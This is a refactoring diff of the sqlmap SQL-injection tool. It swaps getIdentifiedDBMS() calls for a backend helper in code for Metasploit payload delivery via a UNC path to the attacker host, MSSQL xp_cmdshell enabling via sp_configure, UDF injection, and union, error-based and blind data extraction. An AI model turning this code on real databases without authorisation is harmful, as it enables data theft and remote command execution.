debugMsg += "injection will be successful" debugMsg += "injection will be successful"
logger.debug(debugMsg) logger.debug(debugMsg)
elif getIdentifiedDBMS() == DBMS.PGSQL: elif backend.getIdentifiedDbms() == DBMS.PGSQL:
choose = True choose = True
warnMsg = "by default PostgreSQL on Windows runs as " warnMsg = "by default PostgreSQL on Windows runs as "
@ -201,12 +201,12 @@ class Metasploit:
warnMsg += "injection will be successful" warnMsg += "injection will be successful"
logger.warn(warnMsg) logger.warn(warnMsg)
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
choose = True choose = True
warnMsg = "it is unlikely that the VNC injection will be " warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "successful because usually Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0] warnMsg += "%s runs as Network Service " % backend.getVersion()
warnMsg += "or the Administrator is not logged in" warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg) logger.warn(warnMsg)
@ -230,12 +230,12 @@ class Metasploit:
break break
elif choice == "1": elif choice == "1":
if getIdentifiedDBMS() == DBMS.PGSQL: if backend.getIdentifiedDbms() == DBMS.PGSQL:
logger.warn("beware that the VNC injection might not work") logger.warn("beware that the VNC injection might not work")
break break
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
break break
elif not choice.isdigit(): elif not choice.isdigit():
@ -555,7 +555,7 @@ class Metasploit:
# This is useful for sqlmap because on PostgreSQL it is not # This is useful for sqlmap because on PostgreSQL it is not
# possible to write files bigger than 8192 bytes abusing the # possible to write files bigger than 8192 bytes abusing the
# lo_export() feature implemented in sqlmap. # lo_export() feature implemented in sqlmap.
if getIdentifiedDBMS() == DBMS.PGSQL: if backend.getIdentifiedDbms() == DBMS.PGSQL:
self.__fileFormat = "exe-small" self.__fileFormat = "exe-small"
else: else:
self.__fileFormat = "exe" self.__fileFormat = "exe"
@ -657,7 +657,7 @@ class Metasploit:
self.__forgeMsfConsoleResource() self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd() self.__forgeMsfConsoleCmd()
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile) self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else: else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile) self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)

View File

@ -11,7 +11,7 @@ import os
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
@ -51,7 +51,7 @@ class UDF:
def __checkExistUdf(self, udf): def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf) logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[getIdentifiedDBMS()].check_udf.query % (udf, udf)) query = agent.forgeCaseStatement(queries[backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2) exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2)
if exists == "1": if exists == "1":
@ -104,7 +104,7 @@ class UDF:
return output return output
def udfCheckNeeded(self): def udfCheckNeeded(self):
if ( not conf.rFile or ( conf.rFile and getIdentifiedDBMS() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs: if ( not conf.rFile or ( conf.rFile and backend.getIdentifiedDbms() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread") self.sysUdfs.pop("sys_fileread")
if not conf.osPwn: if not conf.osPwn:
@ -143,9 +143,9 @@ class UDF:
if udf in self.udfToCreate and udf not in self.createdUdf: if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet) self.udfCreateFromSharedLib(udf, inpRet)
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
supportTblType = "longtext" supportTblType = "longtext"
elif getIdentifiedDBMS() == DBMS.PGSQL: elif backend.getIdentifiedDbms() == DBMS.PGSQL:
supportTblType = "text" supportTblType = "text"
self.udfCreateSupportTbl(supportTblType) self.udfCreateSupportTbl(supportTblType)
@ -156,8 +156,8 @@ class UDF:
self.udfInjectCore(self.sysUdfs) self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self): def udfInjectCustom(self):
if getIdentifiedDBMS() not in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ):
errMsg = "UDF injection feature is not yet implemented on %s" % getIdentifiedDBMS() errMsg = "UDF injection feature is not yet implemented on %s" % backend.getIdentifiedDbms()
raise sqlmapUnsupportedFeatureException(errMsg) raise sqlmapUnsupportedFeatureException(errMsg)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
@ -236,9 +236,9 @@ class UDF:
else: else:
logger.warn("you need to specify the name of the UDF") logger.warn("you need to specify the name of the UDF")
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
defaultType = "string" defaultType = "string"
elif getIdentifiedDBMS() == DBMS.PGSQL: elif backend.getIdentifiedDbms() == DBMS.PGSQL:
defaultType = "text" defaultType = "text"
self.udfs[udfName]["input"] = [] self.udfs[udfName]["input"] = []

View File

@ -7,6 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import backend
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import wasLastRequestDelayed from lib.core.common import wasLastRequestDelayed
@ -29,7 +30,7 @@ class xp_cmdshell:
def __xpCmdshellCreate(self): def __xpCmdshellCreate(self):
cmd = "" cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ): if backend.isVersionWithin(("2005", "2008")):
logger.debug("activating sp_OACreate") logger.debug("activating sp_OACreate")
cmd += "EXEC master..sp_configure 'show advanced options', 1; " cmd += "EXEC master..sp_configure 'show advanced options', 1; "
@ -48,7 +49,7 @@ class xp_cmdshell:
cmd += "EXEC sp_OADestroy @ID'; " cmd += "EXEC sp_OADestroy @ID'; "
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
if kb.dbmsVersion[0] in ( "2005", "2008" ): if backend.isVersionWithin(("2005", "2008")):
cmd += " RECONFIGURE WITH OVERRIDE;" cmd += " RECONFIGURE WITH OVERRIDE;"
inject.goStacked(cmd) inject.goStacked(cmd)
@ -80,7 +81,7 @@ class xp_cmdshell:
return cmd return cmd
def __xpCmdshellConfigure(self, mode): def __xpCmdshellConfigure(self, mode):
if kb.dbmsVersion[0] in ( "2005", "2008" ): if backend.isVersionWithin(("2005", "2008")):
cmd = self.__xpCmdshellConfigure2005(mode) cmd = self.__xpCmdshellConfigure2005(mode)
else: else:
cmd = self.__xpCmdshellConfigure2000(mode) cmd = self.__xpCmdshellConfigure2000(mode)

View File

@ -12,12 +12,13 @@ import time
import traceback import traceback
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import backend
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import decodeIntToUnicode from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars from lib.core.common import filterControlChars
from lib.core.common import getCharset from lib.core.common import getCharset
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import goGoodSamaritan from lib.core.common import goGoodSamaritan
from lib.core.common import getPartRun from lib.core.common import getPartRun
from lib.core.common import popValue from lib.core.common import popValue
@ -75,7 +76,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar) lastChar = int(lastChar)
if kb.dbmsDetected: if backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
@ -125,7 +126,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
hintlock.release() hintlock.release()
if hintValue is not None and len(hintValue) >= idx: if hintValue is not None and len(hintValue) >= idx:
if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB): if backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
posValue = hintValue[idx-1] posValue = hintValue[idx-1]
else: else:
posValue = ord(hintValue[idx-1]) posValue = ord(hintValue[idx-1])
@ -456,7 +457,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# check it via equal against the substring-query output # check it via equal against the substring-query output
if commonPattern is not None: if commonPattern is not None:
# Substring-query containing equals commonPattern # Substring-query containing equals commonPattern
subquery = queries[getIdentifiedDBMS()].substring.query % (expressionUnescaped, 1, len(commonPattern)) subquery = queries[backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
query = agent.suffixQuery(query) query = agent.suffixQuery(query)

View File

@ -15,7 +15,7 @@ from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import filterListValue from lib.core.common import filterListValue
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getPageTextWordsSet from lib.core.common import getPageTextWordsSet
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
@ -32,7 +32,7 @@ from lib.core.session import safeFormatString
from lib.request import inject from lib.request import inject
def tableExists(tableFile, regex=None): def tableExists(tableFile, regex=None):
tables = getFileItems(tableFile, lowercase=getIdentifiedDBMS() in (DBMS.ACCESS), unique=True) tables = getFileItems(tableFile, lowercase=backend.getIdentifiedDbms() in (DBMS.ACCESS), unique=True)
retVal = [] retVal = []
infoMsg = "checking table existence using items from '%s'" % tableFile infoMsg = "checking table existence using items from '%s'" % tableFile

View File

@ -14,7 +14,7 @@ from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import initTechnique from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import randomInt from lib.core.common import randomInt
@ -40,7 +40,7 @@ def __oneShotErrorUse(expression, field):
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop) check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
nulledCastedField = agent.nullAndCastField(field) nulledCastedField = agent.nullAndCastField(field)
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row') # Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
@ -142,14 +142,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
# entry per time # entry per time
# NOTE: I assume that only queries that get data from a table can # NOTE: I assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper(): if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I) limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -157,10 +157,10 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp: if limitRegExp:
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -172,7 +172,7 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
stopLimit = int(topLimit.group(1)) stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@ -186,12 +186,12 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
# From now on we need only the expression until the " LIMIT " # From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word # (or similar, depending on the back-end DBMS) word
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit stopLimit += startLimit
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query) untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit stopLimit += startLimit
elif dump: elif dump:
if conf.limitStart: if conf.limitStart:
@ -200,14 +200,14 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
stopLimit = conf.limitStop stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]): if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
test = False test = False
else: else:
test = True test = True
if test: if test:
# Count the number of SQL query entries output # Count the number of SQL query entries output
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0] countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1) countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I): if re.search(" ORDER BY ", expression, re.I):

View File

@ -12,7 +12,7 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import randomStr from lib.core.common import randomStr
@ -98,14 +98,14 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
for count in range(conf.uColsStart, conf.uColsStop+1): for count in range(conf.uColsStart, conf.uColsStop+1):
if getIdentifiedDBMS() in FROM_TABLE and query.endswith(FROM_TABLE[getIdentifiedDBMS()]): if backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
query = query[:-len(FROM_TABLE[getIdentifiedDBMS()])] query = query[:-len(FROM_TABLE[backend.getIdentifiedDbms()])]
if count: if count:
query += ", %s" % conf.uChar query += ", %s" % conf.uChar
if getIdentifiedDBMS() in FROM_TABLE: if backend.getIdentifiedDbms() in FROM_TABLE:
query += FROM_TABLE[getIdentifiedDBMS()] query += FROM_TABLE[backend.getIdentifiedDbms()]
status = "%d/%d" % (count, conf.uColsStop) status = "%d/%d" % (count, conf.uColsStop)
debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop)) debugMsg = "testing %s columns (%d%%)" % (status, round(100.0*count/conf.uColsStop))

View File

@ -14,7 +14,7 @@ from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import initTechnique from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
@ -103,14 +103,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
# entry per time # entry per time
# NOTE: I assume that only queries that get data from a table can # NOTE: I assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper(): if " FROM " in expression.upper() and ((backend.getIdentifiedDbms() not in FROM_TABLE) or (backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I) limitRegExp = re.search(queries[backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if limitRegExp or (backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -118,10 +118,10 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp: if limitRegExp:
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query limitGroupStart = queries[backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query limitGroupStop = queries[backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -133,7 +133,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
stopLimit = int(topLimit.group(1)) stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@ -147,12 +147,12 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
# From now on we need only the expression until the " LIMIT " # From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word # (or similar, depending on the back-end DBMS) word
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL): if backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit stopLimit += startLimit
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query) untilLimitChar = expression.index(queries[backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit stopLimit += startLimit
elif dump: elif dump:
if conf.limitStart: if conf.limitStart:
@ -161,14 +161,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
stopLimit = conf.limitStop stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]): if backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[backend.getIdentifiedDbms()]):
test = False test = False
else: else:
test = True test = True
if test: if test:
# Count the number of SQL query entries output # Count the number of SQL query entries output
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0] countFirstField = queries[backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1) countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I): if re.search(" ORDER BY ", expression, re.I):
@ -216,9 +216,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack
try: try:
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): if backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0] field = expressionFieldsList[0]
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
field = expressionFieldsList field = expressionFieldsList
else: else:
field = None field = None

View File

@ -22,7 +22,7 @@ from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import paths from lib.core.common import paths
@ -270,9 +270,9 @@ def hashRecognition(value):
if value: if value:
for name, regex in getPublicTypeMembers(HASH): for name, regex in getPublicTypeMembers(HASH):
# Hashes for Oracle and old MySQL look the same hence these checks # Hashes for Oracle and old MySQL look the same hence these checks
if getIdentifiedDBMS() == DBMS.ORACLE and regex == HASH.MYSQL_OLD: if backend.getIdentifiedDbms() == DBMS.ORACLE and regex == HASH.MYSQL_OLD:
continue continue
elif getIdentifiedDBMS() == DBMS.MYSQL and regex == HASH.ORACLE_OLD: elif backend.getIdentifiedDbms() == DBMS.MYSQL and regex == HASH.ORACLE_OLD:
continue continue
elif getCompiledRegex(regex).match(value): elif getCompiledRegex(regex).match(value):
retVal = regex retVal = regex

View File

@ -13,7 +13,7 @@ import time
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import safeStringFormat from lib.core.common import safeStringFormat
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import replaceNewlineTabs from lib.core.common import replaceNewlineTabs
@ -34,7 +34,7 @@ def queryOutputLength(expression, payload):
Returns the query output length. Returns the query output length.
""" """
lengthQuery = queries[getIdentifiedDBMS()].length.query lengthQuery = queries[backend.getIdentifiedDbms()].length.query
select = re.search("\ASELECT\s+", expression, re.I) select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
@ -60,7 +60,7 @@ def queryOutputLength(expression, payload):
if selectDistinctExpr: if selectDistinctExpr:
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression)
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
lengthExpr += " AS %s" % randomStr(lowercase=True) lengthExpr += " AS %s" % randomStr(lowercase=True)
elif select: elif select:
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
@ -142,10 +142,10 @@ def resume(expression, payload):
if not payload: if not payload:
return None return None
if not getIdentifiedDBMS(): if not backend.getIdentifiedDbms():
return None return None
substringQuery = queries[getIdentifiedDBMS()].substring.query substringQuery = queries[backend.getIdentifiedDbms()].substring.query
select = re.search("\ASELECT ", expression, re.I) select = re.search("\ASELECT ", expression, re.I)
_, length, regExpr = queryOutputLength(expression, payload) _, length, regExpr = queryOutputLength(expression, payload)

View File

@ -10,10 +10,9 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import backend
from lib.core.common import formatFingerprint from lib.core.common import format
from lib.core.common import getCurrentThreadData from lib.core.common import getCurrentThreadData
from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import wasLastRequestDBMSError from lib.core.common import wasLastRequestDBMSError
@ -38,14 +37,15 @@ class Fingerprint(GenericFingerprint):
# Reference: http://milw0rm.com/papers/198 # Reference: http://milw0rm.com/papers/198
retVal = None retVal = None
table = None table = None
if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
if kb.dbmsVersion[0] in ("97", "2000"): if backend.isVersionWithin(("97", "2000")):
